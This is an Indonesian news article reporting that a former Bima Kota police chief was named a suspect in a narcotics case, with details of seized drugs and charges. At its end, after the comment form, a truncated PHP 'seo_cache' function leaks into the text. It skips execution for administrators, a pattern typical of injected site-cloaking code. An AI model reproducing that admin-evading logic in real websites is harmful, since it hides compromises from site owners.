TNI-Polri

AKBP Didik Putra Kuncoro Ditetapkan sebagai Tersangka Narkoba Satu Koper Putih Jadi Bukti

×

AKBP Didik Putra Kuncoro Ditetapkan sebagai Tersangka Narkoba Satu Koper Putih Jadi Bukti

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Mantan Kapolres Bima Kota, AKBP Didik Putra Kuncoro ditetapkan sebagai tersangka kasus peredaran narkoba.

Hal itu disampaikan Direktur Tindak Pidana Narkoba (Dirtipidnarkoba) Bareskrim Polri Brigjen Eko Hadi Santoso dalam keterangannya, Jumat (14/02/2026) malam.

“Penetapan tersangka dilakukan setelah gelar perkara oleh Bareskrim siang tadi,” ujarnya seperti dikutip dari Kompas.com.

Direktur Tindak Pidana Narkoba Bareskrim Polri, Brigjen Eko Hadi Santoso. ( Dok. Mabes Polri )

Dari hasil gelar perkara itu, kata dia, akan dilanjutkan dengan proses penyidikan terhadap AKBP Didik Putra Kuncoro.

Sebelum itu, Polda NTB telah mencopot AKBP Didik Putra Kuncoro dari jabatannya sebagai Kapolres Bima Kota atas dugaan keterlibatan dalam kasus narkoba.

Dugaan Setoran 1 Miliar

Kasus ini bermula ketika AKP Malaungi yang saat itu menjabat Kasatresnarkoba Polres Bima Kota ditangkap Polda NTB.

AKP Malaungi ditangkap buntut dari pengembangan kasus narkoba yang menjerat anak buahnya Bripka F bersama istri.

Sabu seberat 488 gram ditemukan saat rumah dinas AKP Malaungi di Komplek Asrama Polres Bima Kota digeledah dalam sebuah rangkaian penyidikan.

Penggeledahan dilakukan untuk menindaklanjuti pengakuan AKP Malaungi setelah menjalani tes urine

Hasil tes menunjukkan urine AKP Malaungi positif amphetamine, kandungan dari ekstasi maupun MDMA, dan methamphetamine yang merupakan kandungan sabu-sabu.

AKP Malaungi kemudian dipecat dalam sidang kode etik pada Senin (09/02/2926) di Mapolda NTB.

Sejak saat itu, Senin (09/02/2026) hingga Kamis (12/02/2026) AKBP Didik Putra Kuncoro tidak lagi masuk kantor.

Ia bahkan disebut menerima aliran dana sejumlah 1 miliar dari salah satu bandar narkoba.

Koper Putih dan Pasal Berlapis

Lebih lanjut Brigjen Eko Hadi Santoso menyebut, Didik dinilai terbukti bersalah atas kepemilikan koper putih berisi narkoba.

Koper yang ditemukan di kediaman Aipda Dianita, Tangerang, Banten ini berisi 16,3 gram sabu, 49 butir ekstasi dan 2 butir sisa pakai (23,5 gr), 19 butir Aprazolam, 2 butir Happy Five, dan 5 gram ketamin.

Dari hasil temuan itu, lanjut Eko, disepakati untuk meningkatkan status Didik menjadi tersangka.

Peserta gelar perkara sepakat untuk melaksanakan proses penyidikan dengan pasal 609 ayat (2) huruf a UU RI Nomor 1 Tahun 2023 tentang KUHP Jo UU RI Nomor 1 Tahun 2026 tentang Penyesuaian Pidana.

“Juga Pasal 62 UU RI No.5 Tahun 1997 tentang Psikotropika Jo Lampiran 1 Nomor Urut 9 UU RI Nomor 1 Tahun 2026 tentang Penyesuaian Pidana kepada tersangka AKBP Didik Putra Kuncoro,” tutup Brigjen Eko Hadi Santoso. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>